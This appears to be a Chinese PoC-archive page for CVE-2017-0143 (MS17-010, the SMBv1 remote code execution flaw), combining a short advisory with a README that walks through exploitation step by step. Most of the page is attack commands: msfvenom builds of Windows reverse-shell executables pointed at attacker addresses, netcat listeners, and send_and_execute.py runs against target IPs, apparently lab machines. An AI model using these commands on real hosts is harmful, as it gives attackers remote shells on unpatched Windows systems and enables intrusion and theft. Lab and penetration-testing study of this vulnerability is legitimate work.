关联漏洞
标题：
Microsoft Windows SMB 输入验证错误漏洞
(CVE-2017-0143)
描述：Microsoft Windows是美国微软（Microsoft）公司发布的一系列操作系统。SMBv1 server是其中的一个服务器协议组件。 Microsoft Windows中的SMBv1服务器存在远程代码执行漏洞。远程攻击者可借助特制的数据包利用该漏洞执行任意代码。以下版本受到影响：Microsoft Windows Vista SP2，Windows Server 2008 SP2和R2 SP1，Windows 7 SP1，Windows 8.1，Windows Server 2012 Gold
描述
MS17-010_CVE-2017-0143
介绍
# MS17-010
🖥️ -n3rdyn3xus-
#️⃣ CVE-2017-0143
## Method 1
```
git clone https://github.com/n3rdyn3xus/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe
```
create a `nc` listner
```
nc -nlvp 1337
```
### exploit
```
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe
```
Incase if you get a error like this folow these steps:
```
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket
```
Now we can run the exploit :
## Method 2
Now this exploit is created in python2 and it require some libraries like impacket , pycrypto . For that virtual environment has to setup and here virtualenv program help .Once you created the environment then you can activate that environment using source utility program . Here python2 is used as interpreter because in latest Kali python3 is set as global interpreter and our exploit is in python2 .
why we use virtual environment ? For that you can check out this .
https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto
python checker.py 10.10.10.4
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe
python send_and_execute.py 10.10.10.4 shell.exe 445 browser
nc -nlvp 4445
文件快照
[4.0K] /data/pocs/3f967b7eaea4f8ea1902fb838e6dfc43a1408cfa
├── [2.6K] checker.py
├── [1.8M] get-pip.py
├── [ 16K] mysmb.py
├── [ 17K] mysmb.pyc
├── [2.4K] README.md
└── [ 43K] send_and_execute.py
0 directories, 6 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。